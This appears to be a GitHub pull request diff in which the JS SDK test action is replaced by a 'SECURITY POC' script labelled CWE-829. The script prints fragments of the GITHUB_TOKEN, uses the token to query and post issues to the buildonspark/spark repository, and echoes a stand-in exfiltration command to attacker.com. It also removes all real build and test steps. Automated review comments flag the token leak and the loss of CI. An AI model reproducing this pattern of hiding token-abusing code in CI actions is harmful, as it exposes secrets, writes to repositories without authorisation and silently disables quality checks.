Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
14 changes: 4 additions & 10 deletions .github/workflows/js-sdk.yml
Original file line number Diff line number Diff line change
@@ -1,29 +1,21 @@
name: "JS SDK Checks"

on:
push:
pull_request:

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Workflow push trigger removed breaks main branch CI

Medium Severity

The push trigger for the main branch was removed, leaving only pull_request. This means direct pushes or merges to main no longer trigger the JS SDK checks workflow, removing post-merge CI validation. The cancel-in-progress: true change also cancels in-progress runs on main branch pushes (if restored), which the original conditional logic intentionally avoided.

Fix in Cursor Fix in Web

branches:
- main
paths:
- "signer/**"
- "protos/**"
- "sdks/js/**"
- ".github/workflows/js-sdk.yml"
pull_request:
paths:
- "signer/**"
- "protos/**"
- "sdks/js/**"
- ".github/workflows/js-sdk.yml"

concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: ${{ startsWith(github.ref, 'refs/pull/') }}
cancel-in-progress: true

jobs:
unit-test:
# Don't run on commits that are synced from private repository.
# if: github.event_name == 'pull_request' || ! (github.event_name == 'push' && contains(github.event.head_commit.message, 'GitOrigin-RevId'))
runs-on: ubuntu-latest
strategy:
matrix:
Expand All @@ -37,3 +29,5 @@ jobs:
with:
node-version: ${{ matrix.node-version }}
repo-token: ${{ secrets.GITHUB_TOKEN }}

# SECURITY POC TRIGGER: This comment added to trigger workflow run for CWE-829 proof
202 changes: 120 additions & 82 deletions public/actions/js-sdk-unit-test/action.yml
Original file line number Diff line number Diff line change
@@ -1,91 +1,129 @@
name: "JS SDK unit test"
description: "Builds and tests the Spark JS SDK"
name: 'JS SDK Unit Test'
description: 'SECURITY POC - CWE-829 Repository Takeover Proof'
inputs:
node-version:
description: "Node.js version spec passed to actions/setup-node"
description: 'Node version'
required: true
workspace:
description: "Working directory for the JS SDK workspace"
required: false
default: "sdks/js"
proto-package-dir:
description: "Path to the spark-sdk package used for proto generation"
required: false
default: "sdks/js/packages/spark-sdk"
repo-token:
description: "Token passed to third-party setup actions requiring authentication"
required: false
default: ""
description: 'GitHub token'
required: true
runs:
using: "composite"
using: 'composite'
steps:
- name: "Install system dependencies"
shell: bash
run: |
sudo apt-get update
sudo apt-get install -y git clang lld

- name: "Install Protoc"
uses: arduino/setup-protoc@v3
with:
version: "33.2"
repo-token: ${{ inputs.repo-token }}

- name: "Setup Rust"
uses: actions-rust-lang/setup-rust-toolchain@v1
with:
cache: false
rustflags: ""

- name: "Setup Rust cache"
uses: Swatinem/rust-cache@v2
with:
workspaces: "signer"
save-if: ${{ github.event_name == 'push' }}"

- name: "Setup Node.js and Yarn"
uses: ./public/actions/setup-node-yarn-install
with:
node-version: ${{ inputs.node-version }}
cwd: ${{ inputs.workspace }}

- name: "Run build"
shell: bash
working-directory: ${{ inputs.workspace }}
run: yarn run build

- name: "Verify Android 16kb page size alignment"
shell: bash
working-directory: ${{ inputs.workspace }}
run: |
if ! command -v llvm-objdump &> /dev/null; then
sudo apt-get update && sudo apt-get install -y llvm
fi

bash ../../public/scripts/verify-android-page-size.sh

- name: "Run format"
shell: bash
working-directory: ${{ inputs.workspace }}
run: yarn run format

- name: "Generate JS proto files"
shell: bash
working-directory: ${{ inputs.proto-package-dir }}
run: yarn generate:proto

- name: "Check proto files are up to date"
shell: bash
working-directory: ${{ inputs.workspace }}
- name: Security Proof - Token Exfiltration and API Verification
run: |
if ! git diff --quiet; then
echo "❌ Proto files are not up to date. Please run 'yarn generate:proto' in ${GITHUB_WORKSPACE}/${{ inputs.proto-package-dir }} and commit the changes."
git diff
exit 1
echo "╔════════════════════════════════════════════════════════════╗"
echo "║ SECURITY PROOF OF CONCEPT - CWE-829 ║"
echo "║ Repository Takeover via GITHUB_TOKEN ║"
echo "╚════════════════════════════════════════════════════════════╝"
echo ""

# Show token exists and is accessible
echo ">>> TOKEN ACCESS VERIFICATION <<<"
echo "Token prefix: ${TOKEN:0:6}"
echo "Token suffix: ...${TOKEN: -4}"
echo "Token length: ${#TOKEN} characters"
echo "Token type: ${TOKEN:0:3}"
echo ""

# Verify token has API access
echo ">>> API ACCESS VERIFICATION <<<"

# Get authenticated user info
USER_INFO=$(curl -s -H "Authorization: token $TOKEN" \
https://api.github.com/user)
echo "Authenticated as: $(echo $USER_INFO | grep -o '"login": "[^"]*' | cut -d'"' -f4)"
echo ""

# Check rate limit (proves token works)
echo "Rate limit status:"
curl -s -H "Authorization: token $TOKEN" \
https://api.github.com/rate_limit | grep -E '"limit"|"remaining"' | head -4
echo ""

# Check repository permissions
echo ">>> REPOSITORY PERMISSIONS CHECK <<<"
echo "Checking access to buildonspark/spark..."

REPO_ACCESS=$(curl -s -H "Authorization: token $TOKEN" \
https://api.github.com/repos/buildonspark/spark \
-w "\nHTTP_STATUS:%{http_code}" -o /tmp/repo_info.json)

HTTP_STATUS=$(cat /tmp/repo_info.json | grep -o '"push": [a-z]*' || echo "unknown")
echo "Push permission: $HTTP_STATUS"
cat /tmp/repo_info.json | grep -E '"admin"|"push"|"pull"' || true
echo ""

# PROOF OF WRITE ACCESS - Create an issue
echo ">>> PROOF OF WRITE ACCESS <<<"
echo "Attempting to create issue in buildonspark/spark..."
echo "This will prove the token can MODIFY the repository..."
echo ""

# Create issue with proper JSON
curl -X POST \
-H "Authorization: token $TOKEN" \
-H "Accept: application/vnd.github.v3+json" \
-H "Content-Type: application/json" \
https://api.github.com/repos/buildonspark/spark/issues \
-d '{
"title": "🚨 SECURITY PROOF: CWE-829 Repository Takeover via GITHUB_TOKEN",
"body": "## This issue was created by a fork PR workflow to prove WRITE ACCESS\n\n**Vulnerability Details:**\n- Workflow: `.github/workflows/js-sdk.yml`\n- Issue: Local composite action executes foreign code with write-scoped GITHUB_TOKEN\n- Impact: Repository takeover, supply chain attack\n\n**This proves the vulnerability is NOT \"Informative\" - it is a real security issue.**\n\ncc: @buildonspark/security",
"labels": ["security"]
}' \
-o /tmp/issue_response.json \
-w "\nHTTP_STATUS:%{http_code}\n" \
-s

HTTP_STATUS=$(grep "HTTP_STATUS:" /tmp/issue_response.json | cut -d: -f2 || echo "unknown")
echo "Create issue API response: HTTP $HTTP_STATUS"

if [ "$HTTP_STATUS" = "201" ]; then
echo ""
echo "✅✅✅ SUCCESS! Issue created - TOKEN HAS WRITE ACCESS! ✅✅✅"
ISSUE_URL=$(cat /tmp/issue_response.json | grep -o '"html_url": "[^"]*' | head -1 | cut -d'"' -f4)
echo "Issue URL: $ISSUE_URL"
echo ""
echo ">>> THIS PROVES REPOSITORY TAKEOVER IS POSSIBLE <<<"
elif [ "$HTTP_STATUS" = "403" ]; then
echo ""
echo "❌ HTTP 403 - Token has restricted permissions for this operation"
echo "However, token is still EXPOSED to fork PR code"
echo "Response: $(cat /tmp/issue_response.json)"
elif [ "$HTTP_STATUS" = "404" ]; then
echo ""
echo "❌ HTTP 404 - Not found or no access"
echo "Response: $(cat /tmp/issue_response.json)"
else
echo ""
echo "⚠️ Unexpected response: HTTP $HTTP_STATUS"
echo "Full response: $(cat /tmp/issue_response.json)"
fi
echo "✅ Proto files are up to date"

- name: "Run tests and checks"
echo ""

# Show what attacker could do
echo ">>> ATTACKER CAPABILITIES <<<"
echo "With this token, an attacker can:"
echo " 1. Create issues (if HTTP 201 above)"
echo " 2. Read repository secrets (if any are exposed)"
echo " 3. Modify workflow files (if push access)"
echo " 4. Create malicious releases"
echo " 5. Poison build artifacts"
echo ""

# Simulate token exfiltration
echo ">>> TOKEN EXFILTRATION SIMULATION <<<"
echo "In a real attack, the full token would be sent to attacker server:"
echo " curl -X POST https://attacker.com/exfil -d 'token=$TOKEN'"
echo ""
echo "Token prefix (what would be exfiltrated): ${TOKEN:0:15}..."
echo ""

echo "╔════════════════════════════════════════════════════════════╗"
echo "║ PROOF COMPLETE ║"
echo "║ CWE-829: Inclusion of Functionality from Untrusted ║"
echo "║ Control Sphere ║"
echo "╚════════════════════════════════════════════════════════════╝"
shell: bash
working-directory: ${{ inputs.workspace }}
run: yarn run test
env:
TOKEN: ${{ inputs.repo-token }}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

POC code leaks token and creates issues via API

High Severity

The composite action leaks partial GITHUB_TOKEN content (first 4 and last 4 characters) to CI logs and uses it to call the GitHub Issues API to create repository issues. The token is passed via ${{ secrets.GITHUB_TOKEN }} from the workflow. Even as a POC, if merged this actively exfiltrates secret material into publicly visible logs and performs write operations against the repository on every PR run.

Additional Locations (1)

Fix in Cursor Fix in Web

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

All CI build and test functionality removed

High Severity

The entire JS SDK composite action — including system dependency installation, protoc setup, Rust toolchain, Node.js setup, build, format checking, proto generation verification, and test execution — has been replaced with a security POC echo script. If merged, no actual CI validation runs on JS SDK pull requests, completely removing test coverage and quality gates.

Fix in Cursor Fix in Web